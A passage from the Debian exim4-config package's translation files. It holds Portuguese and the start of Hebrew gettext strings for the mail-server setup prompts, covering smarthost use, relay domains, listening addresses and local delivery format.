fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "mail enviado por smarthost; não existe mail local" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "apenas entrega local; não se encontra numa rede" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "no configuration at this time" msgstr "não configurar neste momento." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "General type of mail configuration:" msgstr "Tipo geral de configuração de mail:" #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Please select the mail server configuration type that best meets your needs." msgstr "" "Por favor escolha o tipo de configuração do servidor de mail que melhor se " "adequa às suas necessidades." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "Systems with dynamic IP addresses, including dialup systems, should " "generally be configured to send outgoing mail to another machine, called a " "'smarthost' for delivery because many receiving systems on the Internet " "block incoming mail from dynamic IP addresses as spam protection." msgstr "" "Sistemas com endereços IP dinâmicos, incluindo sistemas de acesso telefónico " "geralmente devem ser configurados para enviar mails para outra máquina, " "chamada de \"smart host\", para entrega porque na Internet muitos sistemas " "que recebem mail bloqueiam mail vindo de IPs dinâmicos como protecção contra " "spam." #. Type: select #. Description #: ../exim4-config.templates:1002 msgid "" "A system with a dynamic IP address can receive its own mail, or local " "delivery can be disabled entirely (except mail for root and postmaster)." msgstr "" "Um sistema com um endereço de IP dinâmico pode receber o seu próprio mail, " "ou a entrega local pode ser completamente desligada (excepto mail para o " "root e para o postmaster)." #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "Really leave the mail system unconfigured?" msgstr "Pretende deixar o sistema de mail não configurado?" #. Type: boolean #. Description #: ../exim4-config.templates:2001 msgid "" "Until the mail system is configured, it will be broken and cannot be used. " "Configuration at a later time can be done either by hand or by running 'dpkg-" "reconfigure exim4-config' as root." msgstr "" "Até o sistema de mail ser configurado, estará não-funcional e não poderá ser " "utilizado. Poderá sempre configurá-lo mais tarde manualmente ou como root " "executar o comando 'dpkg-reconfigure exim4-config'." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "System mail name:" msgstr "Nome do sistema de mail:" #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "The 'mail name' is the domain name used to 'qualify' mail addresses without " "a domain name." msgstr "" "O 'mail name' é o nome do domínio utilizado para 'qualificar' endereços de " "mail sem um nome de domínio." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name will also be used by other programs. It should be the single, " "fully qualified domain name (FQDN)." msgstr "" "Este nome será também utilizado por outros programas; deverá ser um nome de " "domínio totalmente qualificado (FQDN) e único." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "Thus, if a mail address on the local host is foo@example.org, the correct " "value for this option would be example.org." msgstr "" "Por isso, se um endereço de mail no host local for foo@exemplo.org, então o " "valor correcto para esta opção será exemplo.org." #. Type: string #. Description #: ../exim4-config.templates:3001 msgid "" "This name won't appear on From: lines of outgoing messages if rewriting is " "enabled." msgstr "" "Este nome não irá aparecer nas linhas From: dos mails a enviar se estiver " "activada a reescrita." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "Other destinations for which mail is accepted:" msgstr "Outros destinos para os quais o mail deve ser aceite:" #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "machine should consider itself the final destination. These domains are " "commonly called 'local domains'. The local hostname (${fqdn}) and " "'localhost' are always added to the list given here." msgstr "" "Por favor introduza uma lista, separada por pontos-e-vírgula, de domínios de " "destino para os quais esta máquina deve considerar-se como sendo o destino " "final. Estes domínios são normalmente chamados de 'domínios locais'. O nome " "local da máquina (hostname) {${fqdn}) e 'localhost' são sempre acrescentados " "à lista dada aqui." #. Type: string #. Description #: ../exim4-config.templates:4001 msgid "" "By default all local domains will be treated identically. If both a.example " "and b.example are local domains, acc@a.example and acc@b.example will be " "delivered to the same final destination. If different domain names should be " "treated differently, it is necessary to edit the config files afterwards." msgstr "" "Por omissão todos os domínios serão tratados de forma idêntica. Se ambos os " "domínios a.exemplo e b.exemplo forem locais, acc@a.exemplo e acc@b.exemplo " "serão entregues no mesmo destino final. Se diferentes nomes de domínios " "devem ser tratados de forma diferente, é necessário posteriormente editar os " "ficheiros de configuração." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Domains to relay mail for:" msgstr "Domínios para os quais fazer relay:" #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "" "Please enter a semicolon-separated list of recipient domains for which this " "system will relay mail, for example as a fallback MX or mail gateway. This " "means that this system will accept mail for these domains from anywhere on " "the Internet and deliver them according to local delivery rules." msgstr "" "Por favor introduza uma lista separada por ponto-e-vírgula de de domínios de " "destino para os quais este sistema irá fazer relay ao mail, por exemplo como " "MX de recurso ou gateway de mail. Isto significa que este sistema irá " "aceitar mail para estes domínios de qualquer lado da Internet e entregá-lo " "de acordo com as regras de entrega local." #. Type: string #. Description #: ../exim4-config.templates:5001 msgid "Do not mention local domains here. Wildcards may be used." msgstr "Não mencione aqui domínios locais. Podem ser utilizados wildcards." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "Machines to relay mail for:" msgstr "Máquinas para as quais fazer relay:" #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "Please enter a semicolon-separated list of IP address ranges for which this " "system will unconditionally relay mail, functioning as a smarthost." msgstr "" "Por favor introduza uma lista de gamas de endereços IP separada por ponto-e-" "vírgula para a qual este sistema irá incondicionalmente fazer relay ao mail, " "funcionando como um 'smarthost'." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "You should use the standard address/prefix format (e.g. 194.222.242.0/24 or " "5f03:1200:836f::/48)." msgstr "" "Você deve utilizar o formato padrão endereço/máscara (e.g. 194.222.242.0/24) " "ou 5f03:1200:836f::/48)." #. Type: string #. Description #: ../exim4-config.templates:6001 msgid "" "If this system should not be a smarthost for any other host, leave this list " "blank." msgstr "" "Se este sistema não deve ser um 'smart host' para qualquer outra máquina, " "deixe esta lista vazia." #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "Visible domain name for local users:" msgstr "Nome de domínio visível para os utilizadores locais:" #. Type: string #. Description #: ../exim4-config.templates:7001 msgid "" "The option to hide the local mail name in outgoing mail was enabled. It is " "therefore necessary to specify the domain name this system should use for " "the domain part of local users' sender addresses." msgstr "" "Foi habilitada a opção para esconder o nome de mail local no mail que é " "enviado. É por isso necessário especificar o nome do domínio que este " "sistema deve utilizar para a parte do domínio dos endereços de envio dos " "utilizadores locais." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "IP address or host name of the outgoing smarthost:" msgstr "Endereço IP ou nome da máquina 'smart host' de saída:" #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "Please enter the IP address or the host name of a mail server that this " "system should use as outgoing smarthost. If the smarthost only accepts your " "mail on a port different from TCP/25, append two colons and the port number " "(for example smarthost.example::587 or 192.168.254.254::2525). Colons in " "IPv6 addresses need to be doubled." msgstr "" "Por favor introduza o endereço IP ou o nome da máquina de um servidor de " "mail que este sistema deva utilizar como 'smart host' de saída. Se o 'smart " "host' apenas aceitar o seu mail num port diferente do TCP/25, acrescente " "dois dois-pontos e o número do port (por exemplo smarthost.exemplo::587 ou " "192.168.254.254::2525). Dois-pontos têm de ser o dobro em endereços IPv6." #. Type: string #. Description #: ../exim4-config.templates:8001 msgid "" "If the smarthost requires authentication, please refer to the Debian-" "specific README files in /usr/share/doc/exim4-base for notes about setting " "up SMTP authentication." msgstr "" "Se o 'smarthost' necessitar de autenticação, por favor consulte os ficheiros " "README específicos de Debian em /usr/share/doc/exim4-base para notas acerca " "da configuração de autenticação SMTP." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Root and postmaster mail recipient:" msgstr "Destinatário do mail para root e postmaster:" #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Mail for the 'postmaster', 'root', and other system accounts needs to be " "redirected to the user account of the actual system administrator." msgstr "" "Mail para o 'postmaster', 'root', e outras contas de sistema necessitam ser " "redireccionadas para a conta de utilizador do administrador do sistema." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "If this value is left empty, such mail will be saved in /var/mail/mail, " "which is not recommended." msgstr "" "Se este valor for deixado em branco, esse mail será guardado em /var/mail/" "mail. O que não é recomendado." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "" "Note that postmaster's mail should be read on the system to which it is " "directed, rather than being forwarded elsewhere, so (at least one of) the " "users listed here should not redirect their mail off this machine. A 'real-' " "prefix can be used to force local delivery." msgstr "" "Note que o mail para o postmaster deve ser lido no sistema para o qual é " "direccionado, em vez de ser encaminhado para qualquer outro sitio, portanto " "os (pelo menos um dos) utilizadores aqui listados não devem redireccionar o " "seu mail para fora desta máquina. Um prefixo 'real' pode ser utilizado para " "forçar a entrega local." #. Type: string #. Description #: ../exim4-config.templates:9001 msgid "Multiple user names need to be separated by spaces." msgstr "Vários nomes de utilizador têm de separados por espaços." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "IP-addresses to listen on for incoming SMTP connections:" msgstr "Lista de endereços IP nos quais escutar por ligações SMTP:" #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "Please enter a semicolon-separated list of IP addresses. The Exim SMTP " "listener daemon will listen on all IP addresses listed here." msgstr "" "Por favor introduza uma lista de endereços IP separados por ponto-e-vírgula. " "O daemon de escuta SMTP Exim irá escutar todos os endereços IP aqui listados." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "An empty value will cause Exim to listen for connections on all available " "network interfaces." msgstr "" "Um valor vazio irá fazer com que o Exim escute ligações em todos os " "interfaces de rede disponíveis." #. Type: string #. Description #: ../exim4-config.templates:10001 msgid "" "If this system only receives mail directly from local services (and not from " "other hosts), it is suggested to prohibit external connections to the local " "Exim daemon. Such services include e-mail programs (MUAs) which talk to " "localhost only as well as fetchmail. External connections are impossible " "when 127.0.0.1 is entered here, as this will disable listening on public " "network interfaces." msgstr "" "Se este sistema apenas receber mail directamente de serviços locais (e não " "de outras máquinas), é sugerido proibir as ligações externas ao daemon local " "do Exim. Tais serviços incluem programas de e-mail (MUAs) que apenas " "comunicam com o localhost assim como o fetchmail. As ligações externas são " "impossíveis quanto é introduzido 127.0.0.1 aqui, já que isto irá desabilitar " "a escuta nos interfaces públicos de rede." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "Keep number of DNS-queries minimal (Dial-on-Demand)?" msgstr "Manter o número de pesquisas DNS mínimas (Dial-on-Demand)?" #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "In normal mode of operation Exim does DNS lookups at startup, and when " "receiving or delivering messages. This is for logging purposes and allows " "keeping down the number of hard-coded values in the configuration." msgstr "" "No modo normal de operação o Exim executa pesquisas DNS no arranque, e " "quando recebe ou entrega mensagens. Para propósitos de logging e para manter " "baixo o número de valores fixos na configuração." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "If this system does not have a DNS full service resolver available at all " "times (for example if its Internet access is a dial-up line using dial-on-" "demand), this might have unwanted consequences. For example, starting up " "Exim or running the queue (even with no messages waiting) might trigger a " "costly dial-up-event." msgstr "" "Se este sistema não tem um resolver de DNS permanentemente disponível (por " "exemplo se o seu acesso à Internet é uma ligação dial-up que utiliza dial-on-" "demand, isto pode ter consequências indesejadas. Por exemplo, iniciar o Exim " "ou correr a lista de espera (mesmo sem mensagens em espera) pode activar um " "evento de pedido que envolvesse custos telefónicos." #. Type: boolean #. Description #: ../exim4-config.templates:11001 msgid "" "This option should be selected if this system is using Dial-on-Demand. If it " "has always-on Internet access, this option should be disabled." msgstr "" "Esta opção deve ser escolhida se este sistema está a utilizar Dial-on-" "Demand. Se tiver sempre acesso à Internet, esta opção deve ser desligada." #. Type: title #. Description #: ../exim4-config.templates:12001 msgid "Mail Server configuration" msgstr "Configuração do Servidor de Mail" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "Split configuration into small files?" msgstr "Dividir a configuração em pequenos ficheiros?" #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "The Debian exim4 packages can either use 'unsplit configuration', a single " "monolithic file (/etc/exim4/exim4.conf.template) or 'split configuration', " "where the actual Exim configuration files are built from about 50 smaller " "files in /etc/exim4/conf.d/." msgstr "" "Os pacotes Debian do exim4 podem usar quer uma 'configuração não-dividida', " "que consiste num único ficheiro monolítico (/etc/exim4/exim4.conf.template) " "ou uma 'configuração dividida', onde os verdadeiros ficheiros de " "configuração são construídos a partir de cerca de 50 pequenos ficheiros em /" "etc/exim4/conf.d/." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "Unsplit configuration is better suited for large modifications and is " "generally more stable, whereas split configuration offers a comfortable way " "to make smaller modifications but is more fragile and might break if " "modified carelessly." msgstr "" "A configuração singular é mais apropriada para grandes modificações e é " "geralmente mais estável, enquanto que a configuração dividida oferece uma " "forma mais confortável de fazer pequenas modificações mas é mais frágil e " "pode perder consistência se for modificada sem cuidado." #. Type: boolean #. Description #: ../exim4-config.templates:13001 msgid "" "A more detailed discussion of split and unsplit configuration can be found " "in the Debian-specific README files in /usr/share/doc/exim4-base." msgstr "" "Pode ser encontrada uma discussão mais detalhada acerca da configuração " "dividida e não-dividida em /usr/share/doc/exim4-base." #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "Hide local mail name in outgoing mail?" msgstr "Esconder o nome de mail local no mail a enviar?" #. Type: boolean #. Description #: ../exim4-config.templates:14001 msgid "" "The headers of outgoing mail can be rewritten to make it appear to have been " "generated on a different system. If this option is chosen, '${mailname}', " "'localhost' and '${dc_other_hostnames}' in From, Reply-To, Sender and Return-" "Path are rewritten." msgstr "" "Os cabeçalhos do mail a enviar podem ser re-escritos para parecerem que " "foram gerados num sistema diferente. Se esta opção for escolhida são re-" "escritos '${mailname}' 'localhost' e '${dc_other_hostnames}' nos campos " "From, Reply-To, Sender e Return-Path." #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "mbox format in /var/mail/" msgstr "formato mbox em /var/mail/" #. Type: select #. Choices #: ../exim4-config.templates:15001 msgid "Maildir format in home directory" msgstr "Formato Maildir no directório home" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "Delivery method for local mail:" msgstr "Método de entrega para o mail local:" #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Exim is able to store locally delivered email in different formats. The most " "commonly used ones are mbox and Maildir. mbox uses a single file for the " "complete mail folder stored in /var/mail/. With Maildir format every single " "message is stored in a separate file in ~/Maildir/." msgstr "" "O Exim pode guardar mail entregue localmente em diferentes formatos. Os mais " "vulgarmente utilizados são mbox e Maildir. mbox utiliza um único ficheiro " "para todo o directório de mail guardado em /var/mail. Com o formato Maildir " "cada mensagem é guardada num ficheiro em ~/Maildir/." #. Type: select #. Description #: ../exim4-config.templates:15002 msgid "" "Please note that most mail tools in Debian expect the local delivery method " "to be mbox in their default." msgstr "" "Por favor note, que em Debian, a maioria das ferramentas de mail esperam que " "o método de entrega local, por omissão, seja mbox." #~ msgid "Move undelivered mails from exim 3 to exim4 spool?" #~ msgstr "Mover mails ainda não entregues do exim 3 para o spool do exim4?" #~ msgid "" #~ "There are some undelivered mails in exim 3 (or exim-tls 3) spool " #~ "directory /var/spool/exim/input/." #~ msgstr "" #~ "Existem alguns mails por entregar no directório de spool do exim 3 (ou no " #~ "exim-tls 3) /var/spool/exim/input/." #~ msgid "" #~ "Choosing this option will move these messages to exim4's spool (/var/" #~ "spool/exim4/input/) where they will be handled by exim4." #~ msgstr "" #~ "Escolher esta opção irá mover estas mensagens para o spool do exim4 (/var/" #~ "spool/exim4/input/) onde serão geridas pelo exim4." #~ msgid "" #~ "This works only one-way: Exim4 can handle Exim 3 spool but not vice-" #~ "versa. If you reject this option, you need to move the messages yourself " #~ "or they will never be delivered." #~ msgstr "" #~ "Isto funciona apenas num sentido: o Exim4 pode lidar com o spool do exim " #~ "3 mas não o contrário. Se rejeitar esta opção, tem de mover você mesmo as " #~ "mensagens ou estas nunca serão entregues." #~ msgid "Leaving this list blank will have Exim do no local deliveries." #~ msgstr "" #~ "Deixar esta lista vazia fará com que o Exim não faça entregas locais." #~ msgid "" #~ "This works only one-way: exim4 can handle exim(v3)'s spool but not vice-" #~ "versa." #~ msgstr "" #~ "Funciona apenas num único sentido: o exim4 pode lidar com o spool do exim" #~ "(v3) mas o contrário não é possível." #~ msgid "" #~ "So it is only advisable to move the messages only if it is not planned to " #~ "go back to Exim(v3). If a rollback might be necessary, it is a better " #~ "idea to refrain from moving the messages now but moving them manually at " #~ "a later time." #~ msgstr "" #~ "Por isso é aconselhável mover as mensagens apenas se não estiver planeado " #~ "voltar ao Exim(v3). Se um retorno for necessário, é uma boa ideia conter-" #~ "se em mudar já as mensagens agora mas sim movê-las depois manualmente" #~ msgid "" #~ "Domains listed here need to be separated by semicolons. Wildcards may be " #~ "used." #~ msgstr "" #~ "Os domínios aqui listados têm de estar separados por um ponto-e-vírgula. " #~ "'Wildcards' podem ser utilizados." #~ msgid "" #~ "Move the mails only if you don't plan to go back to exim(v3), otherwise " #~ "the mail shouldn't be moved now but manually once you've converted your " #~ "setup." #~ msgstr "" #~ "Mova os mails apenas se não pretender voltar ao exim(v3), ou, caso " #~ "contrário, os mails não deverão ser movidos agora mas sim manualmente " #~ "assim que sua instalação for convertida." #, fuzzy #~ msgid "" #~ "If there are any more, enter them here, separated by semicolons. You may " #~ "leave this blank if there are none." #~ msgstr "" #~ "Caso existam mais, introduza-os aqui, separados por dois pontos. Pode " #~ "deixar este valor em branco caso não existam mais." #, fuzzy #~ msgid "" #~ "Please enter here the domains for which this system will relay mail, for " #~ "example as a fallback MX or mail gateway." #~ msgstr "" #~ "Por favor introduza os domínios para os quais você aceitará fazer relay " #~ "de mail." #~ msgid "" #~ "Such domains are domains for which you are prepared to accept mail from " #~ "anywhere on the Internet. Do not mention local domains here." #~ msgstr "" #~ "Tais domínios são domínios para os quais está preparado para aceitar mail " #~ "originado de qualquer local na Internet. Não mencione domínios locais " #~ "aqui." #~ msgid "" #~ "Since you enabled hiding the local mailname in outgoing mail, you must " #~ "specify the domain name to use for mail from local users; typically this " #~ "is the machine on which you normally receive your mail." #~ msgstr "" #~ "Uma vez que escolheu esconder o nome de mail local no mail a enviar, deve " #~ "especificar o nome de domínio a ser usado nos mails enviados por " #~ "utilizadores locais; tipicamente este nome é o nome da máquina na qual " #~ "recebe normalmente suas mensagens." #~ msgid "Where will your users read their mail?" #~ msgstr "Onde irão os seus utilizadores ler o mail?" #~ msgid "Machine handling outgoing mail for this host (smarthost):" #~ msgstr "" #~ "Máquina que gere a entrega final do mail para este host (smarthost):" #~ msgid "Enter the hostname of the machine to which outgoing mail is sent." #~ msgstr "" #~ "Introduza o hostname da máquina para a qual o mail enviado será enviado." #~ msgid "" #~ "Mail for the \"postmaster\", \"root\", and other system accounts is " #~ "usually redirected to the user account of the actual system " #~ "administrator. If you leave this value empty, such mail will be saved in /" #~ "var/mail/mail, which is not recommended. Note that postmaster's mail " #~ "should be read on the system to which it is directed, rather than being " #~ "forwarded elsewhere, so (at least one of) the users you choose should not " #~ "redirect their mail off this machine. Use a \"real-\" prefix to force " #~ "local delivery." #~ msgstr "" #~ "As mensagens para o \"postmaster\", \"root\", e outras contas de sistema " #~ "é normalmente redireccionado para a conta de utilizador do administrador " #~ "do sistema actual. Se deixar este valor vazio, as mensagens serão " #~ "guardadas em /var/mail/mail, o que não é recomendado. De notar que as " #~ "mensagens para o postmaster devem ser lidas no sistema para o qual são " #~ "dirigidas, em vez de serem redireccionada para outro lado, portanto (pelo " #~ "menos um) os utilizadores que escolher não devem ter as mensagens " #~ "redireccionadas para fora desta máquina. Utilize um prefixo \"real-\" " #~ "para forçar a distribuição local." #~ msgid "" #~ "Enable this feature if you are using Dial-on-Demand; otherwise, disable " #~ "it." #~ msgstr "" #~ "Active esta funcionalidade caso esteja a usar Dial-on-Demand; Caso " #~ "contrário, desactive-a." #, fuzzy #~ msgid "Select the mail server configuration type that best fits your needs." #~ msgstr "" #~ "Seleccione o tipo de configuração que melhor se adequa às suas " #~ "necessidades." #~ msgid "If you are unsure then you should not use split configuration." #~ msgstr "" #~ "Se estiver com dúvidas não deve escolher para dividir a configuração." #~ msgid "manually convert from handcrafted Exim v3 configuration" #~ msgstr "converter manualmente de uma configuração manual do Exim v3" #~ msgid "Configure Exim4 manually?" #~ msgstr "Configurar Exim4 manualmente?" #~ msgid "" #~ "You indicated that you have a handcrafted Exim 3 configuration. To " #~ "convert this to Exim 4, you can use the exim_convert4r4(8) tool after the " #~ "installation. Consult /usr/share/doc/exim4-base/examples/example.conf.gz " #~ "and /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgstr "" #~ "Indicou que possui uma configuração manual do Exim 3. Para convertê-la " #~ "para o Exim 4 pode usar a ferramenta exim_convert4r4(8) depois da " #~ "instalação.Consulte os ficheiros /usr/share/doc/exim4-base/examples/" #~ "example.conf.gz e /usr/share/doc/exim4-base/README.Debian.gz!" #~ msgid "" #~ "Until your mail system is configured, it will be broken and cannot be " #~ "used." #~ msgstr "" #~ "Enquanto o sistema de mail não estiver configurado, não poderá ser usado." #~ msgid "" #~ "Your \"mail name\" is the hostname portion of the address to be shown on " #~ "outgoing news and mail messages (following the username and @ sign) " #~ "unless hidden with rewriting." #~ msgstr "" #~ "O \"mail name\" (nome do sistema de mail) é a parte do nome do sistema " #~ "(hostname) do endereço que será exibido em mensagens de e-mail (após o " #~ "nome de utilizador e o símbolo @) a não ser que esteja escondido por " #~ "reescrita de cabeçalhos." #~ msgid "" #~ "Please enter here the networks of local machines for which you accept to " #~ "relay the mail." #~ msgstr "" #~ "Por favor introduzir aqui as redes de máquinas locais para as quais " #~ "aceita fazer relay de mensagens." #~ msgid "" #~ "This should include a list of all machines that will use us as a " #~ "smarthost." #~ msgstr "" #~ "Aqui deve conter a lista de todas as máquinas que nos irão usar como " #~ "smarthost." #~ msgid "" #~ "You need to double the colons in IPv6 addresses (e.g. " #~ "5f03::1200::836f::::/48)" #~ msgstr "" #~ "Precisa de duplicar a quantidade de dois pontos em endereços IPv6 (por " #~ "exemplo, 5f03::1200::836f::::/48)" #~ msgid "" #~ "Enter a colon-separated list of IP-addresses to listen on. You need to " #~ "double the colons in IPv6 addresses (e.g. 5f03::1200::836f::::)." #~ msgstr "" #~ "Introduza uma lista separada por dois pontos contendo endereços IP nos " #~ "quais pretende esperar por ligações SMTP. Precisa de duplicar a " #~ "quantidade de dois pontos caso use endereços IPv6 (por exemplo, " #~ "5f03::1200::836f::::)." #~ msgid "Configuring Exim v4 (exim4-config)" #~ msgstr "A configurar o Exim v4 (exim-config)" #~ msgid "" #~ "If you are configuring this system without local mail delivery this name " #~ "won't appear on From: lines of mail, as rewriting is used." #~ msgstr "" #~ "Se estiver a configurar este sistema sem distribuição de mail local este " #~ "nome não irá aparecer nas linhas From: do mail, uma vez que técnicas de " #~ "reescrita são usadas." #~ msgid "" #~ "Obviously, any machines that use us as a smarthost have to be excluded " #~ "from the relaying controls, as using us to relay mail for them is the " #~ "whole point." #~ msgstr "" #~ "Obviamente, quaisquer máquinas que nos utilizem como um smarthost " #~ "precisam de ser excluídas dos controlos de relaying, uma vez que usar-nos " #~ "para fazer relay de mail é a idéia de um smarthost." #~ msgid "" #~ "Mail for the \"postmaster\" and \"root\" accounts is usually redirected " #~ "to one or more user accounts of the actual system administrators. The " #~ "default is to set things up so that mail for \"postmaster\" and for " #~ "various system accounts is redirected to \"root\", and mail for \"root\" " #~ "is redirected to a real user. This can be changed by editing /etc/" #~ "aliases." #~ msgstr "" #~ "O mail para as contas \"postmaster\" e para o \"root\" são normalmente " #~ "redirecionado para uma ou mais contas de utilizador dos administradores " #~ "do sistema actuais. O padrão é configurar os redirecionamentos para que o " #~ "mail para a conta \"postmaster\" e para as várias contas de sistema seja " #~ "redirecionado para a conta \"root\" e o mail para a conta \"root\" seja " #~ "redirecionado para um utilizador real, Isto pode ser mudado através da " #~ "edição do arquivo /etc/aliases." #~ msgid "" #~ "System administrator mail goes to which user accounts? Enter one or more " #~ "usernames separated by spaces or commas. Enter \"none\" if you do not " #~ "want to redirect the mail. - NB this is strongly discouraged. Exim cannot " #~ "run deliveries as root and will save the mail to /var/mail/mail Also, " #~ "note that usernames should be lowercase!" #~ msgstr "" #~ "O mail para o administrador do sistema será entregue para quais contas de " #~ "utilizador? Introduza um ou mais nomes de utilizadores separados por " #~ "espaços ou vírgulas. Introduza \"none\" caso não pretenda redirecionar o " #~ "mail - não é de todo recomendado. O Exim não pode executar entregas como " #~ "root e irá gravar as mensagens em /var/mail/mail. De notar também que os " #~ "nomes de utilizadores devem ser escritos em letras minúsculas!" debian/po/he.po0000644000000000000000000006372212027557533010563 0ustar # translation of he.po to Hebrew # Translators, if you are not familiar with the PO format, gettext # documentation is worth reading, especially sections dedicated to # this format, e.g. by running: # info -n '(gettext)PO Files' # info -n '(gettext)Header Entry' # Some information specific to po-debconf are available at # /usr/share/doc/po-debconf/README-trans # or http://www.debian.org/intl/l10n/po-debconf/README-trans # Developers do not need to manually edit POT or PO files. # # Lior Kaplan , 2006. msgid "" msgstr "" "Project-Id-Version: he\n" "Report-Msgid-Bugs-To: pkg-exim4-maintainers@lists.alioth.debian.org\n" "POT-Creation-Date: 2007-07-18 08:29+0200\n" "PO-Revision-Date: 2007-07-16 10:01+0200\n" "Last-Translator: Baruch Even \n" "Language-Team: Hebrew \n" "Language: he\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: KBabel 1.11.4\n" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "Remove undelivered messages in spool directory?" msgstr "להסיר דואר שלא הועבר מה-spool?" #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "There are e-mail messages in the Exim spool directory /var/spool/exim4/" "input/ which have not yet been delivered. Removing Exim will cause them to " "remain undelivered until Exim is re-installed." msgstr "" "ישנן הודעות שלא נשלחו ב-spool של exim שנמצא בספריה /var/spool/exim4/input. " "הסרה של Exim תגרום להם להישאר במצב זה עד התקנה מחדש של Exim." #. Type: boolean #. Description #: ../exim4-base.templates:1001 msgid "" "If this option is not chosen, the spool directory is kept, allowing the " "messages in the queue to be delivered at a later date after Exim is re-" "installed." msgstr "" "אם אפשרות זאת אינה נבחרת, ספריית ה-spool תשמר, ובכך תתאפשר שליחה של הודעות " "שנמצאות בתור השליחה לאחר התקנה מחדש של Exim." #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "Reconfigure exim4-config instead of this package" msgstr "הגדר מחדש את החבילה exim4-config במקום את החבילה הזאת" #. Type: error #. Description #: ../exim4-base.templates:2001 ../exim4-daemon-heavy.templates:1001 #: ../exim4-daemon-light.templates:1001 ../exim4.templates:1001 msgid "" "Exim4 has its configuration factored out into a dedicated package, exim4-" "config. To reconfigure Exim4, use 'dpkg-reconfigure exim4-config'." msgstr "" "קבצי ההגדרות של Exim4 הופרדו לחבילה ייעודית, exim4-config. על מנת לשנות את " "ההגדרות של Exim4 יש להשתמש ב-'dpkg-reconfigure exim4-config'." #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "internet site; mail is sent and received directly using SMTP" msgstr "אתר אינטרנט; דואר נשלח ומתקבל ישירות ע\"י SMTP" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; received via SMTP or fetchmail" msgstr "דואר נשלח ע\"י מארח חכם; מתקבל דרך SMTP או fetchmail" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "mail sent by smarthost; no local mail" msgstr "דואר נשלח ע\"י מארח חכם; אין דוא\"ל מקומי" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations otherwise #. this will break the choices shown to users #: ../exim4-config.templates:1001 msgid "local delivery only; not on a network" msgstr "חלוקת מקומית בלבד; המחשב לא נמצא ברשת" #. Type: select #. Choices #. Translators beware! the following six strings form a single #. Choices menu. - Every one of these strings has to fit in a standard #. 80 characters console, as the fancy screen setup takes up some space #. try to keep below ~71 characters. #. DO NOT USE commas (,) in Choices translations 